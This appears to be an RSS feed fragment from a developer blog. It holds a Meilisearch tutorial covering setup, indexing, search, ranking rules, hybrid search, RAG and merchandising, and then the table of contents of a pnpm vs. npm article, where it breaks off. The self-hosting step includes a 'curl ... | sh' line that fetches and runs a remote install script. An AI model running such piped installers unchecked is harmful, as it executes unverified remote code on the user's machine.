    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;&lt;em&gt;&lt;b&gt;Editor’s note:&lt;/b&gt;&lt;span style=&quot;font-weight: 400;&quot;&gt; This article was updated in July 2026 to reflect the latest Meilisearch features and APIs, including hybrid and semantic search, conversational search and RAG, AI-powered retrieval, revised setup and authentication workflows, updated JavaScript SDK usage, and current best practices.&lt;/span&gt;&lt;/em&gt;&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;895&quot; height=&quot;597&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2021/01/Getting-started-with-Meilisearch-A-complete-guide.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2021/01/Getting-started-with-Meilisearch-A-complete-guide.png 895w, https://blog.logrocket.com/wp-content/uploads/2021/01/Getting-started-with-Meilisearch-A-complete-guide-300x200.png 300w, https://blog.logrocket.com/wp-content/uploads/2021/01/Getting-started-with-Meilisearch-A-complete-guide-768x512.png 768w&quot; sizes=&quot;(max-width: 895px) 100vw, 895px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p&gt;Meilisearch is a superfast search engine that supports keyword, semantic, and hybrid search through a single API. In this tutorial, you’ll learn how to set up Meilisearch, index and search documents, customize ranking rules, and explore its AI-powered retrieval capabilities.&lt;/p&gt;
&lt;p&gt;Meilisearch began as a fast, typo-tolerant, open-source search engine you ran from a single binary. It still is. But it has grown into a full retrieval engine: keyword, semantic, and hybrid search from one API, on the same Rust core.&lt;/p&gt;
&lt;p&gt;That evolution matters now that search has become a core part of AI infrastructure, powering &lt;a href=&quot;https://blog.logrocket.com/local-rag-with-small-language-models/&quot;&gt;retrieval-augmented generation&lt;/a&gt; (RAG), copilots, and other AI applications. Rather than combining a traditional search engine, a vector database, and a separate RAG framework, Meilisearch brings these capabilities together through a single API. The feel hasn’t changed, though: one Cloud project (or a single binary), one API, and results in milliseconds.&lt;/p&gt;
&lt;p&gt;In this tutorial, we’ll cover everything from setting up Meilisearch and indexing documents to customizing ranking rules and exploring newer capabilities like hybrid search, conversational search, and AI-powered retrieval.&lt;/p&gt;
&lt;h2 id=&quot;whats-changed-in-meilisearch&quot;&gt;What’s changed in Meilisearch?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Past&lt;/th&gt;
&lt;th&gt;Present&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Primarily a fast, typo-tolerant full-text search engine&lt;/td&gt;
&lt;td&gt;Supports keyword, semantic, and hybrid search&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Focused on traditional keyword search&lt;/td&gt;
&lt;td&gt;Built-in embeddings and semantic retrieval&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Search API only&lt;/td&gt;
&lt;td&gt;Conversational search and RAG through the &lt;code&gt;/chats&lt;/code&gt; endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Basic search relevance tuning&lt;/td&gt;
&lt;td&gt;Expanded ranking rules and customizable relevance pipeline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Separate tooling often needed for recommendations and AI retrieval&lt;/td&gt;
&lt;td&gt;Built-in recommendations (&lt;code&gt;/similar&lt;/code&gt;) and AI retrieval capabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Single binary or self-hosted deployment&lt;/td&gt;
&lt;td&gt;Self-hosted or Meilisearch Cloud with the same API&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&quot;how-do-you-run-meilisearch&quot;&gt;How do you run Meilisearch?&lt;/h2&gt;
&lt;p&gt;The quickest way to get started is with Meilisearch Cloud, the managed version of Meilisearch. It provides a &lt;a href=&quot;https://cloud.meilisearch.com/login&quot;&gt;14-day free trial&lt;/a&gt;, a web dashboard, and a search preview, so you can start building without managing any infrastructure. Create a project at &lt;a href=&quot;https://www.meilisearch.com/cloud&quot;&gt;cloud.meilisearch.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once your project is ready, copy the project host URL and API key from the overview page. Authentication now uses a standard &lt;code&gt;Authorization: Bearer&lt;/code&gt; header (the old &lt;code&gt;X-Meili-API-Key&lt;/code&gt; header is no longer used). You can verify that your project is reachable by listing its indexes:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;curl &#39;MEILISEARCH_URL/indexes&#39; \
  -H &#39;Authorization: Bearer MEILISEARCH_API_KEY&#39;&lt;/pre&gt;
&lt;pre class=&quot;language-text hljs&quot;&gt;# =&amp;gt; { &quot;results&quot;: [], &quot;total&quot;: 0, &quot;offset&quot;: 0, &quot;limit&quot;: 20 }&lt;/pre&gt;
&lt;p&gt;If the request succeeds, you’re ready to start indexing documents.&lt;/p&gt;
&lt;p&gt;Prefer to run Meilisearch yourself? Since it’s fully open source, you can self-host it with a single command, and the API remains identical from this point onward.&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;# Install and launch (a master key is mandatory in production)
curl -L https://install.meilisearch.com | sh
./meilisearch --master-key=&quot;aSampleMasterKey&quot;&lt;/pre&gt;
&lt;p&gt;By default, a self-hosted instance runs on &lt;code&gt;localhost:7700&lt;/code&gt;. You can also install Meilisearch using Docker, Homebrew, or APT; see the installation guide for additional options. Your master key serves the same purpose as the Cloud API key used earlier.&lt;/p&gt;
&lt;h2 id=&quot;how-do-you-set-up-a-meilisearch-project&quot;&gt;How do you set up a Meilisearch project?&lt;/h2&gt;
&lt;p&gt;Once your Meilisearch instance is running, install the JavaScript client and initialize it with your project URL and API key:&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;npm install meilisearch&lt;/pre&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;import { Meilisearch } from &#39;meilisearch&#39;

const client = new Meilisearch({
  host: &#39;MEILISEARCH_URL&#39;,
  apiKey: &#39;MEILISEARCH_API_KEY&#39;
})&lt;/pre&gt;
&lt;p&gt;If you’re updating code from an older Meilisearch project, note that the JavaScript client has changed slightly. The client is now a named export, and the class is &lt;code&gt;Meilisearch&lt;/code&gt; (&lt;code&gt;MeiliSearch&lt;/code&gt; still works as an alias). However, the older CommonJS syntax:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const MeiliSearch = require(&#39;meilisearch&#39;)&lt;/pre&gt;
&lt;p&gt;is no longer supported.&lt;/p&gt;
&lt;h2 id=&quot;how-do-you-create-an-index-and-add-documents-in-meilisearch&quot;&gt;How do you create an index and add documents in Meilisearch?&lt;/h2&gt;
&lt;p&gt;In Meilisearch, an index is a collection of documents. Each index has a primary key, which uniquely identifies every document. If your data already contains an &lt;code&gt;id&lt;/code&gt; field, Meilisearch detects and uses it automatically.&lt;/p&gt;
&lt;p&gt;We’ll use a sample &lt;a href=&quot;https://www.meilisearch.com/docs/assets/datasets/movies.json&quot;&gt;movies dataset&lt;/a&gt;, where each document is represented as plain JSON:&lt;/p&gt;
&lt;pre class=&quot;language-json hljs&quot;&gt;{
  &quot;id&quot;: 287947,
  &quot;title&quot;: &quot;Shazam!&quot;,
  &quot;overview&quot;: &quot;A boy is given the ability to become an adult superhero...&quot;,
  &quot;genres&quot;: [&quot;Action&quot;, &quot;Comedy&quot;, &quot;Fantasy&quot;],
  &quot;release_date&quot;: &quot;2019-03-23&quot;
}&lt;/pre&gt;
&lt;p&gt;You can add the documents to an index like this:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;import movies from &#39;./movies.json&#39;

const task = await client.index(&#39;movies&#39;).addDocuments(movies)
console.log(task) // { taskUid: 0, status: &#39;enqueued&#39;, ... }&lt;/pre&gt;
&lt;p&gt;Indexing is asynchronous, so instead of returning a completed result, Meilisearch returns a task (called an &lt;code&gt;updateId&lt;/code&gt; in older versions). You can monitor its progress using the returned &lt;code&gt;taskUid&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;await client.tasks.getTask(0)

// status moves enqueued -&amp;gt; processing -&amp;gt; succeeded&lt;/pre&gt;
&lt;p&gt;Calling &lt;code&gt;client.index(&#39;movies&#39;)&lt;/code&gt; automatically creates the index the first time you write to it, so you rarely need to call &lt;code&gt;createIndex()&lt;/code&gt; yourself. If you’re updating older code, note that &lt;code&gt;listIndexes()&lt;/code&gt; has been renamed to &lt;code&gt;getIndexes()&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;how-do-you-search-documents-in-meilisearch&quot;&gt;How do you search documents in Meilisearch?&lt;/h2&gt;
&lt;p&gt;Once your documents are indexed, you can search them using the &lt;code&gt;search()&lt;/code&gt; method:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;const results = await client.index(&#39;movies&#39;).search(&#39;botman&#39;)

/*
{
  hits: [
    {
      id: 29751,
      title: &#39;Batman Unmasked: ...&#39;
    },
    ...
  ],
  query: &#39;botman&#39;,
  processingTimeMs: 12,
  limit: 20,
  offset: 0,
  estimatedTotalHits: 66
}
*/&lt;/pre&gt;
&lt;p&gt;Even though the query contains a typo, &lt;code&gt;botman&lt;/code&gt; still returns results for Batman because typo tolerance is enabled by default. In this example, the search also completes in just 12 ms without any additional tuning.&lt;/p&gt;
&lt;p&gt;The response includes several useful fields you’ll use frequently:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;hits&lt;/code&gt;&lt;/strong&gt;: The matching documents&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;estimatedTotalHits&lt;/code&gt;&lt;/strong&gt;: An approximate count of matching documents, replacing the older &lt;code&gt;nbHits&lt;/code&gt; field&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;processingTimeMs&lt;/code&gt;&lt;/strong&gt;: The time taken to process the search request&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;limit&lt;/code&gt; and &lt;code&gt;offset&lt;/code&gt;&lt;/strong&gt;: Values used for pagination&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-do-you-update-documents-in-meilisearch&quot;&gt;How do you update documents in Meilisearch?&lt;/h2&gt;
&lt;p&gt;Updating documents works much like adding them. If you send a document with an existing primary key, Meilisearch updates only the fields you provide, leaving the remaining fields unchanged.&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;await client.index(&#39;movies&#39;).updateDocuments([
  {
    id: 287947,
    overview: &#39;Corrected synopsis text.&#39;
  }
])&lt;/pre&gt;
&lt;p&gt;Like indexing, updating documents is an asynchronous operation, so the request returns a task that you can track using its &lt;code&gt;taskUid&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;how-do-meilisearch-ranking-rules-work&quot;&gt;How do Meilisearch ranking rules work?&lt;/h2&gt;
&lt;p&gt;Ranking rules determine the order in which Meilisearch returns search results. You can reorder the built-in rules, remove them, or define custom ranking rules for each index to better match your application’s search experience.&lt;/p&gt;
&lt;p&gt;The current default ranking rules are:&lt;/p&gt;
&lt;pre class=&quot;language-json hljs&quot;&gt;[
  &quot;words&quot;,
  &quot;typo&quot;,
  &quot;proximity&quot;,
  &quot;attributeRank&quot;,
  &quot;sort&quot;,
  &quot;wordPosition&quot;,
  &quot;exactness&quot;
]&lt;/pre&gt;
&lt;p&gt;If you’re updating an older project, note that the defaults have changed since 2021. The &lt;code&gt;sort&lt;/code&gt; rule was added, &lt;code&gt;attribute&lt;/code&gt; was split into &lt;code&gt;attributeRank&lt;/code&gt; and &lt;code&gt;wordPosition&lt;/code&gt;, and the overall order was updated.&lt;/p&gt;
&lt;p&gt;You can reorder the rules like any other Meilisearch setting:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;await client.index(&#39;movies&#39;).updateRankingRules([
  &#39;words&#39;,
  &#39;typo&#39;,
  &#39;proximity&#39;,
  &#39;attributeRank&#39;,
  &#39;sort&#39;,
  &#39;wordPosition&#39;,
  &#39;exactness&#39;
])&lt;/pre&gt;
&lt;p&gt;For example, moving &lt;code&gt;exactness&lt;/code&gt; higher in the list prioritizes precise matches, while moving it lower favors broader recall. Because the rules are evaluated in order, even small changes to their sequence can noticeably affect the relevance of your search results. See the &lt;a href=&quot;https://www.meilisearch.com/docs/capabilities/full_text_search/relevancy/ranking_rules&quot;&gt;relevancy documentation&lt;/a&gt; for more details on each ranking rule.&lt;/p&gt;
&lt;h2 id=&quot;how-does-hybrid-and-semantic-search-work-in-meilisearch&quot;&gt;How does hybrid and semantic search work in Meilisearch?&lt;/h2&gt;
&lt;p&gt;This is one of the biggest additions since 2021. In addition to traditional keyword search, Meilisearch now supports semantic search using embeddings and can combine both approaches in a single query.&lt;/p&gt;
&lt;p&gt;To enable semantic search, configure an embedder for your index. Meilisearch generates and caches embeddings for your documents automatically, with support for providers including &lt;a href=&quot;https://blog.logrocket.com/openai-vs-open-source-llm/&quot;&gt;OpenAI&lt;/a&gt;, Cohere, Mistral, &lt;a href=&quot;https://blog.logrocket.com/gemini-2-5-future-of-ai-reasoning/&quot;&gt;Gemini&lt;/a&gt;, Voyage, Bedrock, Hugging Face, Ollama, or any compatible &lt;a href=&quot;https://blog.logrocket.com/stop-writing-rest-apis-from-scratch/&quot;&gt;REST API&lt;/a&gt;.&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;curl -X PATCH &#39;MEILISEARCH_URL/indexes/movies/settings/embedders&#39; \
  -H &#39;Authorization: Bearer MEILISEARCH_API_KEY&#39; \
  -H &#39;Content-Type: application/json&#39; \
  --data-binary &#39;{
    &quot;movies-openai&quot;: {
      &quot;source&quot;: &quot;openAi&quot;,
      &quot;model&quot;: &quot;text-embedding-3-small&quot;,
      &quot;apiKey&quot;: &quot;OPEN_AI_API_KEY&quot;,
      &quot;documentTemplate&quot;: &quot;A movie titled {{doc.title}}: {{doc.overview}}&quot;
    }
  }&#39;&lt;/pre&gt;
&lt;p&gt;Once the embedder is configured, you can perform a hybrid search. The hybrid option’s &lt;code&gt;semanticRatio&lt;/code&gt; parameter controls the balance between keyword matching (&lt;code&gt;0&lt;/code&gt;) and semantic search (&lt;code&gt;1&lt;/code&gt;):&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;await client.index(&#39;movies&#39;).search(&#39;space adventure with a robot&#39;, {
  hybrid: {
    embedder: &#39;movies-openai&#39;,
    semanticRatio: 0.5
  }
})&lt;/pre&gt;
&lt;p&gt;With a hybrid search, Meilisearch can return relevant results even when the query terms don’t appear exactly in your documents, while still preserving the precision of keyword matching.&lt;/p&gt;
&lt;h2 id=&quot;how-do-you-build-conversational-search-and-rag-with-meilisearch&quot;&gt;How do you build conversational search and RAG with Meilisearch?&lt;/h2&gt;
&lt;p&gt;Meilisearch also includes built-in support for retrieval-augmented generation (RAG) through a single &lt;code&gt;/chats&lt;/code&gt; endpoint. When a user asks a question in natural language, Meilisearch retrieves relevant documents from your indexes and passes them to the LLM you configure, which generates a response grounded in those documents with source citations. That means you don’t need to wire together a separate vector database or orchestration layer yourself.&lt;/p&gt;
&lt;p&gt;The endpoint is OpenAI-compatible, so you can use the OpenAI SDK, the Vercel AI SDK, or any similar client by pointing it directly at your Meilisearch instance (streaming is required):&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;import OpenAI from &#39;openai&#39;

const openai = new OpenAI({
  baseURL: &#39;MEILISEARCH_URL/chats/cloud&#39;,
  apiKey: &#39;MEILISEARCH_API_KEY&#39;
})

const stream = await openai.chat.completions.create({
  model: &#39;PROVIDER_MODEL_UID&#39;,
  stream: true,
  messages: [
    {
      role: &#39;user&#39;,
      content: &#39;What movies are about artificial intelligence?&#39;
    }
  ]
})

for await (const chunk of stream) {
  process.stdout.write(chunk.choices[0]?.delta?.content || &#39;&#39;)
}&lt;/pre&gt;
&lt;p&gt;Beyond question answering, the same endpoint also supports multi-turn conversations, one-shot summaries, and retrieval-only workflows that you can integrate into your own applications. Since LLMs can still hallucinate, Meilisearch includes guardrails and system prompt controls to help keep responses grounded in your indexed data. See the &lt;a href=&quot;https://www.meilisearch.com/docs/capabilities/conversational_search/overview&quot;&gt;conversational search documentation&lt;/a&gt; for more details.&lt;/p&gt;
&lt;h2 id=&quot;how-do-you-use-meilisearch-for-merchandising-and-personalization&quot;&gt;How do you use Meilisearch for merchandising and personalization?&lt;/h2&gt;
&lt;p&gt;Search relevance isn’t always enough. In some cases, you may want to promote specific results for business reasons, such as featuring a product during a sale or surfacing a help article for a common support query.&lt;/p&gt;
&lt;p&gt;Meilisearch’s &lt;a href=&quot;https://www.meilisearch.com/docs/capabilities/search_rules/overview&quot;&gt;dynamic search rules&lt;/a&gt; let you pin selected documents to fixed positions whenever a query or time-based condition matches, without changing the underlying organic ranking. It’s an experimental feature that you enable once before adding rules.&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;# Enable the feature (once per project)
curl -X PATCH &#39;MEILISEARCH_URL/experimental-features&#39; \
  -H &#39;Authorization: Bearer MEILISEARCH_API_KEY&#39; \
  -H &#39;Content-Type: application/json&#39; \
  --data-binary &#39;{ &quot;dynamicSearchRules&quot;: true }&#39;&lt;/pre&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;# Pin a document to the top when a query contains &quot;invoice&quot;
curl -X PATCH &#39;MEILISEARCH_URL/dynamic-search-rules/invoice-help&#39; \
  -H &#39;Authorization: Bearer MEILISEARCH_API_KEY&#39; \
  -H &#39;Content-Type: application/json&#39; \
  --data-binary &#39;{
    &quot;active&quot;: true,
    &quot;conditions&quot;: [
      {
        &quot;scope&quot;: &quot;query&quot;,
        &quot;contains&quot;: &quot;invoice&quot;
      }
    ],
    &quot;actions&quot;: [
      {
        &quot;selector&quot;: {
          &quot;indexUid&quot;: &quot;support&quot;,
          &quot;id&quot;: &quot;billing-workspace-overview&quot;
        },
        &quot;action&quot;: {
          &quot;type&quot;: &quot;pin&quot;,
          &quot;position&quot;: 0
        }
      }
    ]
  }&#39;&lt;/pre&gt;
&lt;p&gt;The embedders used for hybrid search can also power recommendations. For example, the &lt;code&gt;/similar&lt;/code&gt; &lt;a href=&quot;https://www.meilisearch.com/docs/capabilities/personalization/getting_started/recommendations&quot;&gt;endpoint&lt;/a&gt; returns documents that are semantically similar to a given item, making it useful for features such as “More like this” or “Customers also viewed.”&lt;/p&gt;
&lt;pre class=&quot;language-bash hljs&quot;&gt;curl -X POST &#39;MEILISEARCH_URL/indexes/movies/similar&#39; \
  -H &#39;Authorization: Bearer MEILISEARCH_API_KEY&#39; \
  -H &#39;Content-Type: application/json&#39; \
  --data-binary &#39;{ &quot;id&quot;: 192, &quot;embedder&quot;: &quot;movies-openai&quot; }&#39;&lt;/pre&gt;
&lt;p&gt;Meilisearch also supports &lt;a href=&quot;https://www.meilisearch.com/docs/resources/demos/personalized_search&quot;&gt;personalization&lt;/a&gt; by reranking results in real time using a short preference prompt, allowing different users searching for the same term to see results ordered according to their individual preferences.&lt;/p&gt;
&lt;h2 id=&quot;where-does-meilisearch-fit-in-an-ai-stack&quot;&gt;Where does Meilisearch fit in an AI stack?&lt;/h2&gt;
&lt;p&gt;One advantage of Meilisearch is that it brings together capabilities that often require multiple systems. Traditional search, vector search, hybrid search, recommendations through &lt;code&gt;/similar&lt;/code&gt;, and conversational retrieval through &lt;code&gt;/chats&lt;/code&gt; all run on the same Rust core, over the same indexes, and behind the same API.&lt;/p&gt;

&lt;p&gt;That means the index powering your application’s search experience can also serve as the retrieval layer for AI applications, reducing the need to maintain separate search and vector infrastructures.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;What made Meilisearch compelling in 2021 still holds true: you can get started in minutes, index your data, return results in milliseconds, and fine-tune relevance when you need to.&lt;/p&gt;
&lt;p&gt;Since then, Meilisearch has expanded well beyond traditional full-text search. Today, it supports semantic and hybrid search, retrieval-augmented generation (RAG), recommendations, and merchandising, all through the same API and on the same engine. Whether you choose Meilisearch Cloud or self-host the open-source version, the development experience remains largely unchanged.&lt;/p&gt;
&lt;p&gt;This tutorial covered the core features to help you get started, but there’s much more to explore. For more advanced capabilities like &lt;a href=&quot;https://www.meilisearch.com/docs/capabilities/hybrid_search/advanced/custom_hybrid_ranking&quot;&gt;custom hybrid ranking&lt;/a&gt;, &lt;a href=&quot;https://www.meilisearch.com/docs/capabilities/geo_search/overview&quot;&gt;geosearch&lt;/a&gt;, &lt;a href=&quot;https://www.meilisearch.com/docs/capabilities/filtering_sorting_faceting/getting_started&quot;&gt;filtering and faceting&lt;/a&gt;, and &lt;a href=&quot;https://www.meilisearch.com/docs/resources/help/language&quot;&gt;multilingual search&lt;/a&gt;, refer to the &lt;a href=&quot;https://www.meilisearch.com/docs/getting_started/overview&quot;&gt;Meilisearch documentation&lt;/a&gt;.&lt;/p&gt;



&lt;/div&gt;
            &lt;style&gt;
    .share-icon.share-twitter span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-twitter.svg&quot;);
    }

    .share-icon.share-reddit span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-reddit.svg&quot;);
    }

    .share-icon.share-linkedin span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-linkedin.svg&quot;);
    }

    .share-icon.share-facebook span:first-child {
        background-image: url(&quot;https://blog.logrocket.com/wp-content/themes/logrocket/assets/svgs/share-facebook.svg&quot;);
    }
&lt;/style&gt;

            &lt;ul id=&quot;post-tags&quot;&gt;
    &lt;/ul&gt;
            &lt;!-- This is where popips should go --&gt;
            &lt;div id=&quot;popups&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    </description><link>https://blog.logrocket.com/getting-started-with-meilisearch/</link><guid isPermaLink="false">https://blog.logrocket.com/getting-started-with-meilisearch/</guid><pubDate>Invalid Date</pubDate><author>Michiel Mulders</author></item><item><title>pnpm vs. npm: Which package manager should you use?</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#pnpm-vs-npm-short-version&quot;&gt;pnpm vs. npm: The short version&lt;/a&gt;
        &lt;ul data-toc-name=&quot;pnpm-vs-npm-short-version&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#install-pipeline-attack-vector&quot;&gt;The install pipeline as an attack vector&lt;/a&gt;
        &lt;ul data-toc-name=&quot;install-pipeline-attack-vector&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#pnpm-security-model-differs&quot;&gt;Where pnpm&#39;s security model differs&lt;/a&gt;
        &lt;ul data-toc-name=&quot;pnpm-security-model-differs&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#delaying-newly-published-versions-minimum-release-age&quot;&gt;Delaying newly published versions with &lt;code&gt;minimumReleaseAge&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;delaying-newly-published-versions-minimum-release-age&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#requiring-approval-dependency-build-scripts&quot;&gt;Requiring approval for dependency build scripts&lt;/a&gt;
        &lt;ul data-toc-name=&quot;requiring-approval-dependency-build-scripts&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#blocking-exotic-transitive-dependencies&quot;&gt;Blocking exotic transitive dependencies&lt;/a&gt;
        &lt;ul data-toc-name=&quot;blocking-exotic-transitive-dependencies&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#enforcing-trust-policy&quot;&gt;Enforcing trust policy&lt;/a&gt;
        &lt;ul data-toc-name=&quot;enforcing-trust-policy&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#why-pnpm-uses-less-disk-space&quot;&gt;Why pnpm uses less disk space&lt;/a&gt;
        &lt;ul data-toc-name=&quot;why-pnpm-uses-less-disk-space&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#practical-impact-node-modules-bloat&quot;&gt;The practical impact on &lt;code&gt;node_modules&lt;/code&gt; bloat&lt;/a&gt;
        &lt;ul data-toc-name=&quot;practical-impact-node-modules-bloat&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#pnpm-workspace-security-contract&quot;&gt;pnpm as a workspace security contract&lt;/a&gt;
        &lt;ul data-toc-name=&quot;pnpm-workspace-security-contract&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#builtin-sbom-generation&quot;&gt;Built-in SBOM generation&lt;/a&gt;
        &lt;ul data-toc-name=&quot;builtin-sbom-generation&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#native-registry-operations-pnpm&quot;&gt;Native registry operations in pnpm&lt;/a&gt;
        &lt;ul data-toc-name=&quot;native-registry-operations-pnpm&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/pnpm-vs-npm-which-package-manager-use/#how-to-migrate-npm-yarn-to-pnpm&quot;&gt;How to migrate from npm or Yarn to pnpm&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-to-migrate-npm-yarn-to-pnpm&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
